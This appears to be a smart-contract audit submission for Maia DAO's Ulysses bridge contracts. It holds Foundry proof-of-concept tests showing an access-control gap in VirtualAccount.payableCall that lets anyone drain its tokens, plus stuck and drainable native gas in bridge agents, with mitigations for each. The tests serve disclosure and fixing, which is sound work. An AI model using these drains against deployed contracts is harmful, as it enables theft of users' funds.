Maia DAO - Ulysses - gumgumzum's results

Lines of code

https://github.com/code-423n4/2023-09-maia/blob/main/src/VirtualAccount.sol#L85

Vulnerability details

Impact

VirtualAccount@payableCall can be used to drain tokens from a virtual account.

Proof of Concept

Test

pragma solidity ^0.8.0;

import "../../src/VirtualAccount.sol";
import {PayableCall} from "../../src/interfaces/IVirtualAccount.sol";
import "forge-std/Test.sol";
import {ERC20} from "solady/tokens/ERC20.sol";

contract Token is ERC20 {
    constructor(address to_) {
        _mint(to_, 2 ether);
    }

    function name() public view override returns (string memory) {
        return "Test";
    }

    function symbol() public view override returns (string memory) {
        return "TEST";
    }

}

contract VirtualAccountTest is Test {
    function testDrainERC20() public {
        VirtualAccount virtualAccount = new VirtualAccount(vm.addr(1), vm.addr(2));
        Token token = new Token(address(virtualAccount));

        assertEq(token.balanceOf(vm.addr(10)), 0);

        PayableCall[] memory calls = new PayableCall[](1);
        calls[0] = PayableCall(address(token), abi.encodeWithSignature("transfer(address,uint256)", vm.addr(10), 2 ether), 0);
        
        vm.prank(vm.addr(10));
        virtualAccount.payableCall(calls);

        assertEq(token.balanceOf(vm.addr(10)), 0, "Drained");
    }
}

Results

[FAIL. Reason: Assertion failed.] testDrainERC20() (gas: 1293800)
Logs:
  Error: Drained
  Error: a == b not satisfied [uint]
        Left: 2000000000000000000
       Right: 0

Tools Used

Manual Review

Recommended Mitigation Steps

Add the requiresApprovedCaller modifier to VirtualAccount@payableCall

Assessed type

Access Control

Lines of code

https://github.com/code-423n4/2023-09-maia/blob/f5ba4de628836b2a29f9b5fff59499690008c463/src/RootBridgeAgentExecutor.sol#L50 https://github.com/code-423n4/2023-09-maia/blob/f5ba4de628836b2a29f9b5fff59499690008c463/src/RootBridgeAgentExecutor.sol#L66 https://github.com/code-423n4/2023-09-maia/blob/f5ba4de628836b2a29f9b5fff59499690008c463/src/RootBridgeAgentExecutor.sol#L82 https://github.com/code-423n4/2023-09-maia/blob/f5ba4de628836b2a29f9b5fff59499690008c463/src/RootBridgeAgentExecutor.sol#L115 https://github.com/code-423n4/2023-09-maia/blob/f5ba4de628836b2a29f9b5fff59499690008c463/src/RootBridgeAgentExecutor.sol#L150 https://github.com/code-423n4/2023-09-maia/blob/f5ba4de628836b2a29f9b5fff59499690008c463/src/RootBridgeAgentExecutor.sol#L167 https://github.com/code-423n4/2023-09-maia/blob/f5ba4de628836b2a29f9b5fff59499690008c463/src/RootBridgeAgentExecutor.sol#L201

Vulnerability details

Impact

When native gas tokens are airdropped to a RootBridgeAgent on the root chain, they are forwarded to its RootBridgeAgentExecutor which then forwards them to the corresponding router if needed.

If those funds are not used by neither the executor nor the router, they will be stuck and unrecoverable.

This can happen when specifying a native airdrop value in these scenarios for example :

• Calling CoreBranchRouter@addLocalToken
• Calling BranchBridgeAgent@callOutAndBridge without _params
• Calling BranchBridgeAgent@callOutSignedAndBridge without _params
• Calling a multicall BranchBridgeAgent@callOutSignedAndBridge with _params but no output

In general :

• RootBridgeAgentExecutor@executeSystemRequest doesn't forward value to the router and even if it did, it won't be used
• A multicall RootBridgeAgentExecutor@execute and RootBridgeAgentExecutor@executeSigned will forward the value but it won't be used in the case of a multicallNoOutput
• RootBridgeAgentExecutor@executeWithDeposit, RootBridgeAgentExecutor@executeWithDepositMultiple, RootBridgeAgentExecutor@executeSignedWithDeposit and RootBridgeAgentExecutor@executeSignedWithDepositMultiple only forward value if there is a payload
• A multicall RootBridgeAgentExecutor@executeWithDeposit, RootBridgeAgentExecutor@executeWithDepositMultiple, RootBridgeAgentExecutor@executeSignedWithDeposit and RootBridgeAgentExecutor@executeSignedWithDepositMultiple with a payload will forward the value but it won't be used in the case of a multicallNoOutput

Proof of Concept

Tests

    function testValueLockedInExecutorsOrRouters() public {
        testAddLocalToken();

        address executor = coreRootBridgeAgent.bridgeAgentExecutorAddress();
        uint256 previousExecutorBalance = executor.balance;

        assertEq(previousExecutorBalance, 0);
        assertEq(address(coreRootRouter).balance, 0);
        assertEq(address(rootMulticallRouter).balance, 0);

        switchToLzChain(avaxChainId);

        vm.deal(owner, 100 ether);

        avaxMockAssetToken.mint(owner, 100 ether);
        avaxMockAssetToken.approve(address(avaxPort), 100 ether);

        DepositInput memory depositInput = DepositInput({
            hToken: address(avaxMockAssethToken),
            token: address(avaxMockAssetToken),
            amount: 100 ether,
            deposit: 100 ether
        });

        avaxCoreBridgeAgent.callOutAndBridge{value: owner.balance}(
            payable(owner),
            "",
            depositInput,
            GasParams(1_300_000, 0.01 ether)
        );

        switchToLzChain(rootChainId);

        assertEq(executor.balance, previousExecutorBalance, "Executor balance changed after callout and bridge with no payload");

        previousExecutorBalance = executor.balance;

        switchToLzChain(avaxChainId);

        vm.deal(owner, 100 ether);

        avaxCoreRouter.addLocalToken{value: owner.balance}(
            address(new MockERC20("underlying token", "UNDER", 18)),
            GasParams(2_000_000, 0.01 ether)
        );

        switchToLzChain(rootChainId);

        assertEq(executor.balance, previousExecutorBalance, "Executor balance changed after addLocalToken");

        previousExecutorBalance = executor.balance;

        switchToLzChain(avaxChainId);

        vm.deal(owner, 100 ether);
        
        bytes memory packedData;

        {
            Multicall2.Call[] memory calls = new Multicall2.Call[](1);

            calls[0] = Multicall2.Call({
                target: newAvaxAssetGlobalAddress,
                callData: abi.encodeWithSelector(
                    bytes4(0xa9059cbb),
                    mockApp,
                    1 ether
                )
            });

            OutputParams memory outputParams = OutputParams(
                address(this),
                newAvaxAssetGlobalAddress,
                50 ether,
                0 ether
            );

            bytes memory data = abi.encode(calls);
            packedData = abi.encodePacked(bytes1(0x01), data);
        }

        avaxMockAssetToken.mint(owner, 100 ether);
        avaxMockAssetToken.approve(address(avaxPort), 100 ether);

        avaxMulticallBridgeAgent.callOutSignedAndBridge{
            value: owner.balance
        }(
            payable(owner),
            packedData,
            depositInput,
            GasParams(2_000_000, 0.01 ether),
            false
        );

        switchToLzChain(rootChainId);

        assertEq(address(rootMulticallRouter).balance, 0, "Router balance changed after callout signed and bridge for multicallNoOutput");
        assertEq(multicallRootBridgeAgent.bridgeAgentExecutorAddress().balance, 0);
        
        previousExecutorBalance = executor.balance;

        switchToLzChain(avaxChainId);

        vm.deal(owner, 100 ether);

        avaxMockAssetToken.mint(owner, 100 ether);
        avaxMockAssetToken.approve(address(avaxPort), 100 ether);

        avaxMulticallBridgeAgent.callOutSignedAndBridge{
            value: owner.balance
        }(
            payable(owner),
            "",
            depositInput,
            GasParams(2_000_000, 0.01 ether),
            false
        );

        switchToLzChain(rootChainId);

        assertEq(multicallRootBridgeAgent.bridgeAgentExecutorAddress().balance, 0, "Multicall Executor balance changed after callout signed and bridge with no payload");
    }

Results

  Error: Executor balance changed after callout and bridge with no payload
  Error: a == b not satisfied [uint]
        Left: 100000000000000000000
       Right: 0
  Error: Executor balance changed after addLocalToken
  Error: a == b not satisfied [uint]
        Left: 200000000000000000000
       Right: 100000000000000000000
  Error: Router balance changed after callout signed and bridge for multicallNoOutput
  Error: a == b not satisfied [uint]
        Left: 100000000000000000000
       Right: 0
  Error: Multicall Executor balance changed after callout signed and bridge with no payload
  Error: a == b not satisfied [uint]
        Left: 100000000000000000000
       Right: 0

Tools Used

Manual Review

Recommended Mitigation Steps

This will depend on the scenario.

Signed calls can refund the user or his virtual account (similar to what BranchBridgeAgentExecutor is doing) in case there is no payload or there is a payload but no output.

Not sure about the approach for unsigned calls, some options :

• Include a refundee in the data
• 0 out the GasParams remoteBranchExecutionGas value if the call is guaranteed to end in the destination chain in the case of no payload, or a payload with no output or a system requests.

Assessed type

Other

Lines of code

https://github.com/code-423n4/2023-09-maia/blob/f5ba4de628836b2a29f9b5fff59499690008c463/src/RootBridgeAgent.sol#L749

Vulnerability details

Impact

Failing message executions can lead to value being left on the RootBridgeAgent and drained by someone else later.

Proof of Concept

If a message fails either here https://github.com/code-423n4/2023-09-maia/blob/f5ba4de628836b2a29f9b5fff59499690008c463/src/RootBridgeAgent.sol#L754 or here https://github.com/code-423n4/2023-09-maia/blob/f5ba4de628836b2a29f9b5fff59499690008c463/src/RootBridgeAgent.sol#L779 (if a fallback is not enabled), any airdropped native gas tokens will be left on the RootBridgeAgent.

That value can be drained using a failing call that has a fallback.

Test

    function testValueLockedInRootBridgeAgent() public {
        assertEq(address(coreRootBridgeAgent).balance, 0);

        switchToLzChain(avaxChainId);
        
        vm.deal(owner, 100 ether);

        avaxCoreBridgeAgent.callOut{value: owner.balance}(
            payable(owner),
            abi.encodePacked(uint8(0)),
            GasParams(300_000, 0.1 ether)
        );

        switchToLzChain(rootChainId);

        assertEq(address(coreRootBridgeAgent).balance, 0, "Root bridge agent balance changed");
        assertEq(vm.addr(1000).balance, 0);

        switchToLzChain(ftmChainId);

        vm.deal(vm.addr(1000), 100 ether);

        DepositInput memory depositInput = DepositInput({
            hToken: address(0),
            token: address(0),
            amount: 0,
            deposit: 0
        });

        vm.prank(vm.addr(1000));
        ftmCoreBridgeAgent.callOutSignedAndBridge{value: vm.addr(1000).balance}(
            payable(vm.addr(1000)),
            "",
            depositInput,
            GasParams(1_500_000, 0),
            true
        );
        
        switchToLzChain(rootChainId);

        assertEq(vm.addr(1000).balance, 0, "Refundee balance changed");
        assertNotEq(address(coreRootBridgeAgent).balance, 0, "Root bridge agent was drained");
    }

### Results

  Error: Root bridge agent balance changed
  Error: a == b not satisfied [uint]
        Left: 1000000000000000000000
       Right: 0
  Error: Refundee balance changed
  Error: a == b not satisfied [uint]
        Left: 999999282191708531036
       Right: 0
  Error: Root bridge agent was drained
  Error: a != b not satisfied [uint]
        Left: 0
       Right: 0

Tools Used

Manual Review

Recommended Mitigation Steps

The airdropped native gas tokens need to be sent back to a refundee in case of a message execution failure.

Assessed type

Other

Possible wrong check

In CoreRootRouter, the _rootBridgeAgentFactory is not used, yet it is checked for being a valid bridge agent factory, while the one that is ultimately being interacted with is _branchBridgeAgentFactory.

Caller looses access to deposits if they're created for another address

In BranchBridgeAgent, _createDeposit and _createDepositMultiple set the deposit owner to the passed refundee.

To accommodate the router, callOutAndBridge and callOutAndBridgeMultiple use the _refundee parameters to create deposits. But when called directly, if the _refundee is not the msg.sender, the sender will loose control over that deposit.

Similarly in callOutSignedAndBridge and callOutSignedAndBridgeMultiple, the deposit owner ends up being the _refundee parameter, while the final recipient is the msg.sender.

Unnecessary string concatenation in ERC20hTokenRoot

Duplicate check in BranchBridgeAgent@_createDepositMultiple

Checks in BranchBridgeAgent are also done in BranchPort

ArbitrumCoreBranchRouter@addLocalToken, ArbitrumBranchBridgeAgent@depositToPort and ArbitrumBranchBridgeAgent@withdrawFromPort are payable

Unnecessary cast to payable

_refundee is already payable in BranchBridgeAgent and RootBridgeAgent

Wrong comments

Comments are not accurate in CoreBranchRouter and ArbitrumCoreBranchRouter

Potentially unneeded checks on unused parameters

In BranchBridgeAgentFactory and RootPort

Unnecessary cast to uint8

numOfAssets is already uint8 in RootBridgeAgentExecutor